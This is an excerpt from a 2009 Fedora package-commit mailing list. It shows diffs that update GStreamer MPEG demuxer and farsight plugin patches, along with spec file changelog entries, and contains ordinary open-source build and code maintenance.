++/* defined for VC1 extension in RP227 */
++#define ST_PRIVATE_EA                   0xea
++
++/* HDV AUX stream mapping
++ * 0xA0      ISO/IEC 61834-11
++ * 0xA1      ISO/IEC 61834-11
++ */
++#define ST_HDV_AUX_A                    0xa0
++#define ST_HDV_AUX_V                    0xa1
+ 
+ /* Un-official time-code stream */
+ #define ST_PS_TIMECODE                  0xd2
+@@ -166,8 +213,19 @@
  
  #define MPEG_MUX_RATE_MULT      50
  
 +/* sync:4 == 00xx ! pts:3 ! 1 ! pts:15 ! 1 | pts:15 ! 1 */
 +#define READ_TS(data, target, lost_sync_label)          \
 +    if ((*data & 0x01) != 0x01) goto lost_sync_label;   \
-+    target  = ((guint64) (*data++ & 0x0E)) << 29;	\
-+    target |= ((guint64) (*data++       )) << 22;	\
++    target  = ((guint64) (*data++ & 0x0E)) << 29;       \
++    target |= ((guint64) (*data++       )) << 22;       \
 +    if ((*data & 0x01) != 0x01) goto lost_sync_label;   \
-+    target |= ((guint64) (*data++ & 0xFE)) << 14;	\
-+    target |= ((guint64) (*data++       )) << 7;	\
++    target |= ((guint64) (*data++ & 0xFE)) << 14;       \
++    target |= ((guint64) (*data++       )) << 7;        \
 +    if ((*data & 0x01) != 0x01) goto lost_sync_label;   \
 +    target |= ((guint64) (*data++ & 0xFE)) >> 1;
 +
  /* some extra GstFlowReturn values used internally */
- #define GST_FLOW_NEED_MORE_DATA		-100
- #define GST_FLOW_LOST_SYNC		-101
+-#define GST_FLOW_NEED_MORE_DATA		-100
+-#define GST_FLOW_LOST_SYNC		-101
++#define GST_FLOW_NEED_MORE_DATA   -100
++#define GST_FLOW_LOST_SYNC        -101
+ 
+ #endif /* __GST_MPEG_DEFS_H__ */
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/src/gstmpegdemux.c gst-fluendo-mpegdemux-0.10.15/src/gstmpegdemux.c
 --- gst-fluendo-mpegdemux-0.10.15.old/src/gstmpegdemux.c	2008-02-13 18:07:07.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/src/gstmpegdemux.c	2009-04-01 12:37:48.000000000 +0100
-@@ -1,22 +1,45 @@
++++ gst-fluendo-mpegdemux-0.10.15/src/gstmpegdemux.c	2009-10-13 14:27:03.000000000 +0100
+@@ -1,22 +1,46 @@
 -/* 
 - * The contents of this file are subject to the Mozilla Public License
[...6078 lines suppressed...]
 +  GST_OBJECT_UNLOCK (parse);
 +
-+  {
-+    gchar *dbg = gst_structure_to_string (pmt_info);
-+
-+    GST_DEBUG_OBJECT (parse, "new pmt %s", dbg);
-+    g_free (dbg);
-+  }
++  GST_DEBUG_OBJECT (parse, "new pmt %" GST_PTR_FORMAT, pmt_info);
 +
 +  gst_element_post_message (GST_ELEMENT_CAST (parse),
 +      gst_message_new_element (GST_OBJECT (parse),
@@ -9841,8 +11674,8 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +  gboolean res = TRUE;
 +  GstStructure *structure = NULL;
 +
-+  if (mpegts_parse_calc_crc32 (GST_BUFFER_DATA (section->buffer),
-+          GST_BUFFER_SIZE (section->buffer)) != 0) {
++  if (G_UNLIKELY (mpegts_parse_calc_crc32 (GST_BUFFER_DATA (section->buffer),
++              GST_BUFFER_SIZE (section->buffer)) != 0)) {
 +    GST_WARNING_OBJECT (parse, "bad crc in psi pid 0x%x", section->pid);
 +    return FALSE;
 +  }
@@ -9851,7 +11684,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +    case 0x00:
 +      /* PAT */
 +      structure = mpegts_packetizer_parse_pat (parse->packetizer, section);
-+      if (structure)
++      if (G_LIKELY (structure))
 +        mpegts_parse_apply_pat (parse, structure);
 +      else
 +        res = FALSE;
@@ -9859,7 +11692,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +      break;
 +    case 0x02:
 +      structure = mpegts_packetizer_parse_pmt (parse->packetizer, section);
-+      if (structure)
++      if (G_LIKELY (structure))
 +        mpegts_parse_apply_pmt (parse, section->pid, structure);
 +      else
 +        res = FALSE;
@@ -9870,7 +11703,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +    case 0x41:
 +      /* NIT, other network */
 +      structure = mpegts_packetizer_parse_nit (parse->packetizer, section);
-+      if (structure)
++      if (G_LIKELY (structure))
 +        mpegts_parse_apply_nit (parse, section->pid, structure);
 +      else
 +        res = FALSE;
@@ -9879,7 +11712,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +    case 0x42:
 +    case 0x46:
 +      structure = mpegts_packetizer_parse_sdt (parse->packetizer, section);
-+      if (structure)
++      if (G_LIKELY (structure))
 +        mpegts_parse_apply_sdt (parse, section->pid, structure);
 +      else
 +        res = FALSE;
@@ -9921,7 +11754,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +    case 0x6F:
 +      /* EIT, schedule */
 +      structure = mpegts_packetizer_parse_eit (parse->packetizer, section);
-+      if (structure)
++      if (G_LIKELY (structure))
 +        mpegts_parse_apply_eit (parse, section->pid, structure);
 +      else
 +        res = FALSE;
@@ -9962,6 +11795,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +  GstFlowReturn res = GST_FLOW_OK;
 +  MpegTSParse *parse;
 +  gboolean parsed;
++  MpegTSPacketizerPacketReturn pret;
 +  MpegTSPacketizer *packetizer;
 +  MpegTSPacketizerPacket packet;
 +
@@ -9969,11 +11803,10 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +  packetizer = parse->packetizer;
 +
 +  mpegts_packetizer_push (parse->packetizer, buf);
-+  while (mpegts_packetizer_has_packets (parse->packetizer) &&
-+      !GST_FLOW_IS_FATAL (res)) {
-+    /* get the next packet */
-+    parsed = mpegts_packetizer_next_packet (packetizer, &packet);
-+    if (!parsed)
++  while (((pret =
++              mpegts_packetizer_next_packet (parse->packetizer,
++                  &packet)) != PACKET_NEED_MORE) && !GST_FLOW_IS_FATAL (res)) {
++    if (G_UNLIKELY (pret == PACKET_BAD))
 +      /* bad header, skip the packet */
 +      goto next;
 +
@@ -9982,16 +11815,16 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +      MpegTSPacketizerSection section;
 +
 +      parsed = mpegts_packetizer_push_section (packetizer, &packet, &section);
-+      if (!parsed)
++      if (G_UNLIKELY (!parsed))
 +        /* bad section data */
 +        goto next;
 +
-+      if (section.complete) {
++      if (G_LIKELY (section.complete)) {
 +        /* section complete */
 +        parsed = mpegts_parse_handle_psi (parse, &section);
 +        gst_buffer_unref (section.buffer);
 +
-+        if (!parsed)
++        if (G_UNLIKELY (!parsed))
 +          /* bad PSI table */
 +          goto next;
 +      }
@@ -10007,6 +11840,9 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +    mpegts_packetizer_clear_packet (parse->packetizer, &packet);
 +  }
 +
++  if (parse->need_sync_program_pads)
++    mpegts_parse_sync_program_pads (parse);
++
 +  gst_object_unref (parse);
 +  return res;
 +}
@@ -10059,7 +11895,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +    default:
 +      res = gst_pad_query_default (pad, query);
 +  }
-+
++  gst_object_unref (parse);
 +  return res;
 +}
 +
@@ -10069,7 +11905,6 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +  GST_DEBUG_CATEGORY_INIT (mpegts_parse_debug, "mpegtsparse", 0,
 +      "MPEG transport stream parser");
 +
-+  mpegts_packetizer_init_debug ();
 +  gst_mpegtsdesc_init_debug ();
 +
 +  return gst_element_register (plugin, "mpegtsparse",
@@ -10077,8 +11912,8 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +}
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/src/mpegtsparse.h gst-fluendo-mpegdemux-0.10.15/src/mpegtsparse.h
 --- gst-fluendo-mpegdemux-0.10.15.old/src/mpegtsparse.h	1970-01-01 01:00:00.000000000 +0100
-+++ gst-fluendo-mpegdemux-0.10.15/src/mpegtsparse.h	2009-04-01 12:37:48.000000000 +0100
-@@ -0,0 +1,83 @@
++++ gst-fluendo-mpegdemux-0.10.15/src/mpegtsparse.h	2009-06-19 10:11:07.000000000 +0100
+@@ -0,0 +1,85 @@
 +/*
 + * mpegts_parse.h - GStreamer MPEG transport stream parser
 + * Copyright (C) 2007 Alessandro Decina
@@ -10141,7 +11976,9 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +  GstStructure *pat;
 +  MpegTSPacketizer *packetizer;
 +  GHashTable *psi_pids;
++  GHashTable *pes_pids;
 +  gboolean disposed;
++  gboolean need_sync_program_pads;
 +};
 +
 +struct _MpegTSParseClass {
@@ -10162,39 +11999,3 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +G_END_DECLS
 +
 +#endif /* GST_MPEG_TS_PARSE_H */
---- gst-fluendo-mpegdemux-0.10.15.old/src/Makefile.am	2007-11-21 12:59:24.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/src/Makefile.am	2009-04-01 13:05:25.000000000 +0100
-@@ -1,5 +1,4 @@
--# plugindir is set in configure
--
-+plugindir = $(libdir)/gstreamer-0.10/
- plugin_LTLIBRARIES = libgstflumpegdemux.la
- 
- # for the next set of variables, rename the prefix if you renamed the .la
-@@ -14,12 +13,14 @@ libgstflumpegdemux_la_SOURCES = \
- 	flutspatinfo.c \
- 	flutspmtinfo.c \
- 	flutspmtstreaminfo.c \
--	gstsectionfilter.c
-+	gstsectionfilter.c \
-+	mpegtspacketizer.c \
-+	mpegtsparse.c
- 
- # flags used to compile this plugin
- # we use the GST_LIBS flags because we might be using plug-in libs
--libgstflumpegdemux_la_CFLAGS = $(GST_CFLAGS)
--libgstflumpegdemux_la_LIBADD = $(GST_LIBS) $(GST_BASE_LIBS)
-+libgstflumpegdemux_la_CFLAGS = $(GST_CFLAGS) $(LIBOIL_CFLAGS) -DGST_PACKAGE_NAME="\"gst-fluendo-mpegdemux from gst-plugins-bad\"" -DGST_PACKAGE_ORIGIN="\"http://download.fedora.redhat.com/fedora\""
-+libgstflumpegdemux_la_LIBADD = $(GST_LIBS) $(GST_BASE_LIBS) $(LIBOIL_LIBS)
- libgstflumpegdemux_la_LDFLAGS = $(GST_PLUGIN_LDFLAGS)
- 
- # headers we need but don't want installed
-@@ -32,5 +33,7 @@ noinst_HEADERS =	\
- 	flutspatinfo.h \
- 	flutspmtinfo.h \
- 	flutspmtstreaminfo.h \
--	gstsectionfilter.h
-+	gstsectionfilter.h \
-+	mpegtspacketizer.h \
-+	mpegtsparse.h
- 


Index: gstreamer-plugins-flumpegdemux.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-flumpegdemux/devel/gstreamer-plugins-flumpegdemux.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- gstreamer-plugins-flumpegdemux.spec	25 Jul 2009 01:36:46 -0000	1.8
+++ gstreamer-plugins-flumpegdemux.spec	22 Oct 2009 14:45:09 -0000	1.9
@@ -1,7 +1,7 @@
 Summary: MPEG demuxer for GStreamer
 Name: gstreamer-plugins-flumpegdemux
 Version: 0.10.15
-Release: 7%{?dist} 
+Release: 8%{?dist}
 License: MPLv1.1
 Group: Applications/Multimedia
 Source0: http://core.fluendo.com/gstreamer/src/gst-fluendo-mpegdemux/gst-fluendo-mpegdemux-%{version}.tar.bz2
@@ -54,6 +54,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/gstreamer-0.10/libgstmpegdemux.so
 
 %changelog
+* Thu Oct 22 2009 Bastien Nocera <bnocera at redhat.com> 0.10.15-8
+- Update code from gst-plugins-bad
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.10.15-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From hadess at fedoraproject.org  Thu Oct 22 15:02:44 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu, 22 Oct 2009 15:02:44 +0000 (UTC)
Subject: rpms/gstreamer-plugins-good/devel
	0001-Move-farsight-plugins-from-bad-to-good.patch, 1.1,
	1.2 gstreamer-plugins-good.spec, 1.106, 1.107
Message-ID: <20091022150244.BE2ED11C008C@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-good/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31425

Modified Files:
	0001-Move-farsight-plugins-from-bad-to-good.patch 
	gstreamer-plugins-good.spec 
Log Message:
* Thu Oct 22 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-5
- Update farsight plugins from -bad
- Drop copy/pasted rtpmanager plugin, it's now in -good


0001-Move-farsight-plugins-from-bad-to-good.patch:
 Makefile.am                           |    1 
 configure.ac                          |    6 
 farsight/Makefile.am                  |    1 
 farsight/autoconvert/Makefile.am      |    9 
 farsight/autoconvert/gstautoconvert.c | 1434 +++++++++++++++++++++++++++++++
 farsight/autoconvert/gstautoconvert.h |   63 +
 farsight/dtmf/Makefile.am             |   17 
 farsight/dtmf/gstdtmf.c               |   30 
 farsight/dtmf/gstdtmfsrc.c            |  935 ++++++++++++++++++++
 farsight/dtmf/gstdtmfsrc.h            |   98 ++
 farsight/dtmf/gstrtpdtmfcommon.h      |   23 
 farsight/dtmf/gstrtpdtmfdepay.c       |  555 ++++++++++++
 farsight/dtmf/gstrtpdtmfdepay.h       |   66 +
 farsight/dtmf/gstrtpdtmfsrc.c         | 1099 ++++++++++++++++++++++++
 farsight/dtmf/gstrtpdtmfsrc.h         |  112 ++
 farsight/liveadder/Makefile.am        |    9 
 farsight/liveadder/liveadder.c        | 1548 ++++++++++++++++++++++++++++++++++
 farsight/liveadder/liveadder.h        |  108 ++
 farsight/rtpmux/Makefile.am           |   11 
 farsight/rtpmux/gstrtpdtmfmux.c       |  326 +++++++
 farsight/rtpmux/gstrtpdtmfmux.h       |   68 +
 farsight/rtpmux/gstrtpmux.c           |  632 +++++++++++++
 farsight/rtpmux/gstrtpmux.h           |   78 +
 farsight/rtpmux/gstrtpmuxer.c         |   48 +
 farsight/valve/Makefile.am            |    9 
 farsight/valve/gstvalve.c             |  311 ++++++
 farsight/valve/gstvalve.h             |   83 +
 27 files changed, 7679 insertions(+), 1 deletion(-)

View full diff with command:
/usr/bin/cvs -n -f diff -kk -u -p -N -r 1.1 -r 1.2 0001-Move-farsight-plugins-from-bad-to-good.patchIndex: 0001-Move-farsight-plugins-from-bad-to-good.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/devel/0001-Move-farsight-plugins-from-bad-to-good.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0001-Move-farsight-plugins-from-bad-to-good.patch	22 Jun 2009 16:10:54 -0000	1.1
+++ 0001-Move-farsight-plugins-from-bad-to-good.patch	22 Oct 2009 15:02:43 -0000	1.2
@@ -1,61 +1,37 @@
-From 94f7caadf48775e70bd87fb6390193fe745cc967 Mon Sep 17 00:00:00 2001
+From a584d0c66194fa1af7bd8a71d0d56f318942d890 Mon Sep 17 00:00:00 2001
 From: Bastien Nocera <hadess at hadess.net>
 Date: Mon, 22 Jun 2009 16:09:04 +0100
 Subject: [PATCH] Move farsight plugins from -bad to -good
 
 ---
- Makefile.am                                |    1 +
- configure.ac                               |    7 +
- farsight/Makefile.am                       |    1 +
- farsight/autoconvert/Makefile.am           |    9 +
- farsight/autoconvert/gstautoconvert.c      | 1383 +++++++++++++++
- farsight/autoconvert/gstautoconvert.h      |   63 +
- farsight/dtmf/Makefile.am                  |   17 +
- farsight/dtmf/gstdtmf.c                    |   30 +
- farsight/dtmf/gstdtmfsrc.c                 |  929 ++++++++++
- farsight/dtmf/gstdtmfsrc.h                 |   98 ++
- farsight/dtmf/gstrtpdtmfcommon.h           |   23 +
- farsight/dtmf/gstrtpdtmfdepay.c            |  554 ++++++
- farsight/dtmf/gstrtpdtmfdepay.h            |   66 +
- farsight/dtmf/gstrtpdtmfsrc.c              | 1087 ++++++++++++
- farsight/dtmf/gstrtpdtmfsrc.h              |  112 ++
- farsight/liveadder/Makefile.am             |    9 +
- farsight/liveadder/liveadder.c             | 1549 +++++++++++++++++
- farsight/liveadder/liveadder.h             |  108 ++
- farsight/rtpmanager/.gitignore             |    2 +
- farsight/rtpmanager/Makefile.am            |   51 +
- farsight/rtpmanager/gstrtpbin-marshal.list |    8 +
- farsight/rtpmanager/gstrtpbin.c            | 2582 ++++++++++++++++++++++++++++
- farsight/rtpmanager/gstrtpbin.h            |   88 +
- farsight/rtpmanager/gstrtpclient.c         |  484 ++++++
- farsight/rtpmanager/gstrtpclient.h         |   56 +
- farsight/rtpmanager/gstrtpjitterbuffer.c   | 1973 +++++++++++++++++++++
- farsight/rtpmanager/gstrtpjitterbuffer.h   |   88 +
- farsight/rtpmanager/gstrtpmanager.c        |   65 +
- farsight/rtpmanager/gstrtpptdemux.c        |  492 ++++++
- farsight/rtpmanager/gstrtpptdemux.h        |   62 +
- farsight/rtpmanager/gstrtpsession.c        | 1998 +++++++++++++++++++++
- farsight/rtpmanager/gstrtpsession.h        |   81 +
- farsight/rtpmanager/gstrtpssrcdemux.c      |  722 ++++++++
- farsight/rtpmanager/gstrtpssrcdemux.h      |   62 +
- farsight/rtpmanager/rtpjitterbuffer.c      |  593 +++++++
- farsight/rtpmanager/rtpjitterbuffer.h      |  101 ++
- farsight/rtpmanager/rtpsession.c           | 2551 +++++++++++++++++++++++++++
- farsight/rtpmanager/rtpsession.h           |  303 ++++
- farsight/rtpmanager/rtpsource.c            | 1557 +++++++++++++++++
- farsight/rtpmanager/rtpsource.h            |  223 +++
- farsight/rtpmanager/rtpstats.c             |  176 ++
- farsight/rtpmanager/rtpstats.h             |  195 +++
- farsight/rtpmux/Makefile.am                |   11 +
- farsight/rtpmux/gstrtpdtmfmux.c            |  326 ++++
- farsight/rtpmux/gstrtpdtmfmux.h            |   68 +
- farsight/rtpmux/gstrtpmux.c                |  613 +++++++
- farsight/rtpmux/gstrtpmux.h                |   78 +
- farsight/rtpmux/gstrtpmuxer.c              |   48 +
- farsight/valve/Makefile.am                 |    9 +
- farsight/valve/gstvalve.c                  |  311 ++++
- farsight/valve/gstvalve.h                  |   82 +
- 52 files changed, 22106 insertions(+), 1 deletions(-)
+ Makefile.am                           |    1 +
+ configure.ac                          |    6 +
+ farsight/Makefile.am                  |    1 +
+ farsight/autoconvert/Makefile.am      |    9 +
+ farsight/autoconvert/gstautoconvert.c | 1434 ++++++++++++++++++++++++++++++
+ farsight/autoconvert/gstautoconvert.h |   63 ++
+ farsight/dtmf/Makefile.am             |   17 +
+ farsight/dtmf/gstdtmf.c               |   30 +
+ farsight/dtmf/gstdtmfsrc.c            |  935 ++++++++++++++++++++
+ farsight/dtmf/gstdtmfsrc.h            |   98 +++
+ farsight/dtmf/gstrtpdtmfcommon.h      |   23 +
+ farsight/dtmf/gstrtpdtmfdepay.c       |  555 ++++++++++++
+ farsight/dtmf/gstrtpdtmfdepay.h       |   66 ++
+ farsight/dtmf/gstrtpdtmfsrc.c         | 1099 +++++++++++++++++++++++
+ farsight/dtmf/gstrtpdtmfsrc.h         |  112 +++
+ farsight/liveadder/Makefile.am        |    9 +
+ farsight/liveadder/liveadder.c        | 1548 +++++++++++++++++++++++++++++++++
+ farsight/liveadder/liveadder.h        |  108 +++
+ farsight/rtpmux/Makefile.am           |   11 +
+ farsight/rtpmux/gstrtpdtmfmux.c       |  326 +++++++
+ farsight/rtpmux/gstrtpdtmfmux.h       |   68 ++
+ farsight/rtpmux/gstrtpmux.c           |  632 ++++++++++++++
+ farsight/rtpmux/gstrtpmux.h           |   78 ++
+ farsight/rtpmux/gstrtpmuxer.c         |   48 +
+ farsight/valve/Makefile.am            |    9 +
+ farsight/valve/gstvalve.c             |  311 +++++++
+ farsight/valve/gstvalve.h             |   82 ++
+ 27 files changed, 7679 insertions(+), 0 deletions(-)
  create mode 100644 farsight/Makefile.am
  create mode 100644 farsight/autoconvert/Makefile.am
  create mode 100644 farsight/autoconvert/gstautoconvert.c
@@ -72,30 +48,6 @@ Subject: [PATCH] Move farsight plugins f
  create mode 100644 farsight/liveadder/Makefile.am
  create mode 100644 farsight/liveadder/liveadder.c
  create mode 100644 farsight/liveadder/liveadder.h
- create mode 100644 farsight/rtpmanager/.gitignore
- create mode 100644 farsight/rtpmanager/Makefile.am
- create mode 100644 farsight/rtpmanager/gstrtpbin-marshal.list
- create mode 100644 farsight/rtpmanager/gstrtpbin.c
- create mode 100644 farsight/rtpmanager/gstrtpbin.h
- create mode 100644 farsight/rtpmanager/gstrtpclient.c
- create mode 100644 farsight/rtpmanager/gstrtpclient.h
- create mode 100644 farsight/rtpmanager/gstrtpjitterbuffer.c
- create mode 100644 farsight/rtpmanager/gstrtpjitterbuffer.h
- create mode 100644 farsight/rtpmanager/gstrtpmanager.c
- create mode 100644 farsight/rtpmanager/gstrtpptdemux.c
- create mode 100644 farsight/rtpmanager/gstrtpptdemux.h
- create mode 100644 farsight/rtpmanager/gstrtpsession.c
- create mode 100644 farsight/rtpmanager/gstrtpsession.h
- create mode 100644 farsight/rtpmanager/gstrtpssrcdemux.c
- create mode 100644 farsight/rtpmanager/gstrtpssrcdemux.h
- create mode 100644 farsight/rtpmanager/rtpjitterbuffer.c
- create mode 100644 farsight/rtpmanager/rtpjitterbuffer.h
- create mode 100644 farsight/rtpmanager/rtpsession.c
- create mode 100644 farsight/rtpmanager/rtpsession.h
- create mode 100644 farsight/rtpmanager/rtpsource.c
- create mode 100644 farsight/rtpmanager/rtpsource.h
- create mode 100644 farsight/rtpmanager/rtpstats.c
- create mode 100644 farsight/rtpmanager/rtpstats.h
  create mode 100644 farsight/rtpmux/Makefile.am
  create mode 100644 farsight/rtpmux/gstrtpdtmfmux.c
  create mode 100644 farsight/rtpmux/gstrtpdtmfmux.h
@@ -119,16 +71,15 @@ index 4247a97..997881b 100644
  	docs			\
  	po			\
 diff --git a/configure.ac b/configure.ac
-index fb9bbf8..28c0f31 100644
+index 36b3884..c8e111b 100644
 --- a/configure.ac
 +++ b/configure.ac
-@@ -1080,6 +1080,13 @@ sys/osxvideo/Makefile
+@@ -1117,6 +1117,12 @@ sys/osxvideo/Makefile
  sys/v4l2/Makefile
  sys/waveform/Makefile
  sys/ximage/Makefile
 +farsight/Makefile
 +farsight/valve/Makefile
-+farsight/rtpmanager/Makefile
 +farsight/liveadder/Makefile
 +farsight/dtmf/Makefile
 +farsight/rtpmux/Makefile
@@ -138,11 +89,11 @@ index fb9bbf8..28c0f31 100644
  tests/check/Makefile
 diff --git a/farsight/Makefile.am b/farsight/Makefile.am
 new file mode 100644
-index 0000000..00b6dd3
+index 0000000..a5fac23
 --- /dev/null
 +++ b/farsight/Makefile.am
 @@ -0,0 +1 @@
-+SUBDIRS = autoconvert dtmf liveadder rtpmanager rtpmux valve
++SUBDIRS = autoconvert dtmf liveadder rtpmux valve
 diff --git a/farsight/autoconvert/Makefile.am b/farsight/autoconvert/Makefile.am
 new file mode 100644
 index 0000000..22e8a67
@@ -160,10 +111,10 @@ index 0000000..22e8a67
 +
 diff --git a/farsight/autoconvert/gstautoconvert.c b/farsight/autoconvert/gstautoconvert.c
 new file mode 100644
-index 0000000..4311003
+index 0000000..55f4719
 --- /dev/null
 +++ b/farsight/autoconvert/gstautoconvert.c
-@@ -0,0 +1,1383 @@
+@@ -0,0 +1,1434 @@
 +/* GStreamer
 + *
 + *  Copyright 2007-2008 Collabora Ltd
@@ -212,13 +163,6 @@ index 0000000..4311003
 +#define GST_CAT_DEFAULT (autoconvert_debug)
 +
 +/* elementfactory information */
-+static const GstElementDetails gst_auto_convert_details =
-+GST_ELEMENT_DETAILS ("Select convertor based on caps",
-+    "Generic/Bin",
-+    "Selects the right transform element based on the caps",
-+    "Olivier Crete <olivier.crete at collabora.co.uk>");
-+
-+
 +static GstStaticPadTemplate sinktemplate = GST_STATIC_PAD_TEMPLATE ("sink",
 +    GST_PAD_SINK,
 +    GST_PAD_ALWAYS,
@@ -229,7 +173,6 @@ index 0000000..4311003
 +    GST_PAD_ALWAYS,
 +    GST_STATIC_CAPS_ANY);
 +
-+
 +static GstStaticPadTemplate sink_internal_template =
 +GST_STATIC_PAD_TEMPLATE ("sink_internal",
 +    GST_PAD_SINK,
@@ -252,16 +195,18 @@ index 0000000..4311003
 +enum
[...15524 lines suppressed...]
-@@ -0,0 +1,613 @@
+@@ -0,0 +1,632 @@
 +/* RTP muxer element for GStreamer
 + *
 + * gstrtpmux.c:
@@ -21441,10 +6804,9 @@ index 0000000..82d4b00
 +    GST_STATIC_CAPS ("application/x-rtp")
 +    );
 +
-+static void gst_rtp_mux_finalize (GObject * object);
-+
 +static GstPad *gst_rtp_mux_request_new_pad (GstElement * element,
 +    GstPadTemplate * templ, const gchar * name);
++static void gst_rtp_mux_release_pad (GstElement * element, GstPad * pad);
 +static GstFlowReturn gst_rtp_mux_chain (GstPad * pad, GstBuffer * buffer);
 +static gboolean gst_rtp_mux_setcaps (GstPad * pad, GstCaps * caps);
 +static GstCaps *gst_rtp_mux_getcaps (GstPad * pad);
@@ -21482,7 +6844,6 @@ index 0000000..82d4b00
 +  gobject_class = (GObjectClass *) klass;
 +  gstelement_class = (GstElementClass *) klass;
 +
-+  gobject_class->finalize = gst_rtp_mux_finalize;
 +  gobject_class->get_property = gst_rtp_mux_get_property;
 +  gobject_class->set_property = gst_rtp_mux_set_property;
 +
@@ -21506,6 +6867,7 @@ index 0000000..82d4b00
 +
 +  gstelement_class->request_new_pad =
 +      GST_DEBUG_FUNCPTR (gst_rtp_mux_request_new_pad);
++  gstelement_class->release_pad = GST_DEBUG_FUNCPTR (gst_rtp_mux_release_pad);
 +  gstelement_class->change_state = GST_DEBUG_FUNCPTR (gst_rtp_mux_change_state);
 +
 +  klass->chain_func = gst_rtp_mux_chain;
@@ -21567,16 +6929,6 @@ index 0000000..82d4b00
 +  object->seqnum_offset = DEFAULT_SEQNUM_OFFSET;
 +}
 +
-+static void
-+gst_rtp_mux_finalize (GObject * object)
-+{
-+  GstRTPMux *rtp_mux;
-+
-+  rtp_mux = GST_RTP_MUX (object);
-+
-+  G_OBJECT_CLASS (parent_class)->finalize (object);
-+}
-+
 +static GstPad *
 +gst_rtp_mux_create_sinkpad (GstRTPMux * rtp_mux, GstPadTemplate * templ)
 +{
@@ -21604,15 +6956,6 @@ index 0000000..82d4b00
 +}
 +
 +static void
-+free_pad_private (gpointer data, GObject * where_the_object_was)
-+{
-+  GstRTPMuxPadPrivate *padpriv = data;
-+
-+  gst_caps_replace (&padpriv->out_caps, NULL);
-+  g_slice_free (GstRTPMuxPadPrivate, padpriv);
-+}
-+
-+static void
 +gst_rtp_mux_setup_sinkpad (GstRTPMux * rtp_mux, GstPad * sinkpad)
 +{
 +  GstRTPMuxClass *klass;
@@ -21632,7 +6975,6 @@ index 0000000..82d4b00
 +  gst_pad_set_active (sinkpad, TRUE);
 +
 +  gst_pad_set_element_private (sinkpad, padpriv);
-+  g_object_weak_ref (G_OBJECT (sinkpad), free_pad_private, padpriv);
 +
 +  /* dd the pad to the element */
 +  gst_element_add_pad (GST_ELEMENT (rtp_mux), sinkpad);
@@ -21664,6 +7006,24 @@ index 0000000..82d4b00
 +  return newpad;
 +}
 +
++static void
++gst_rtp_mux_release_pad (GstElement * element, GstPad * pad)
++{
++  GstRTPMuxPadPrivate *padpriv;
++
++  GST_OBJECT_LOCK (element);
++  padpriv = gst_pad_get_element_private (pad);
++  gst_pad_set_element_private (pad, NULL);
++  GST_OBJECT_UNLOCK (element);
++
++  gst_element_remove_pad (element, pad);
++
++  if (padpriv) {
++    gst_caps_replace (&padpriv->out_caps, NULL);
++    g_slice_free (GstRTPMuxPadPrivate, padpriv);
++  }
++}
++
 +/* Put our own clock-base on the buffer */
 +static void
 +gst_rtp_mux_readjust_rtp_timestamp (GstRTPMux * rtp_mux, GstPad * pad,
@@ -21671,10 +7031,14 @@ index 0000000..82d4b00
 +{
 +  guint32 ts;
 +  guint32 sink_ts_base = 0;
-+  GstRTPMuxPadPrivate *padpriv = gst_pad_get_element_private (pad);
++  GstRTPMuxPadPrivate *padpriv;
 +
-+  if (padpriv->have_clock_base)
++
++  GST_OBJECT_LOCK (rtp_mux);
++  padpriv = gst_pad_get_element_private (pad);
++  if (padpriv && padpriv->have_clock_base)
 +    sink_ts_base = padpriv->clock_base;
++  GST_OBJECT_UNLOCK (rtp_mux);
 +
 +  ts = gst_rtp_buffer_get_timestamp (buffer) - sink_ts_base + rtp_mux->ts_base;
 +  GST_LOG_OBJECT (rtp_mux, "Re-adjusting RTP ts %u to %u",
@@ -21687,7 +7051,7 @@ index 0000000..82d4b00
 +{
 +  GstRTPMux *rtp_mux;
 +  GstFlowReturn ret;
-+  GstRTPMuxPadPrivate *padpriv = gst_pad_get_element_private (pad);
++  GstRTPMuxPadPrivate *padpriv;
 +
 +  rtp_mux = GST_RTP_MUX (gst_pad_get_parent (pad));
 +
@@ -21702,6 +7066,9 @@ index 0000000..82d4b00
 +  GST_OBJECT_LOCK (rtp_mux);
 +  rtp_mux->seqnum++;
 +  gst_rtp_buffer_set_seq (buffer, rtp_mux->seqnum);
++  padpriv = gst_pad_get_element_private (pad);
++  if (padpriv)
++    gst_buffer_set_caps (buffer, padpriv->out_caps);
 +  GST_OBJECT_UNLOCK (rtp_mux);
 +  gst_rtp_buffer_set_ssrc (buffer, rtp_mux->current_ssrc);
 +  gst_rtp_mux_readjust_rtp_timestamp (rtp_mux, pad, buffer);
@@ -21709,10 +7076,16 @@ index 0000000..82d4b00
 +      GST_BUFFER_SIZE (buffer), rtp_mux->seqnum,
 +      gst_rtp_buffer_get_timestamp (buffer));
 +
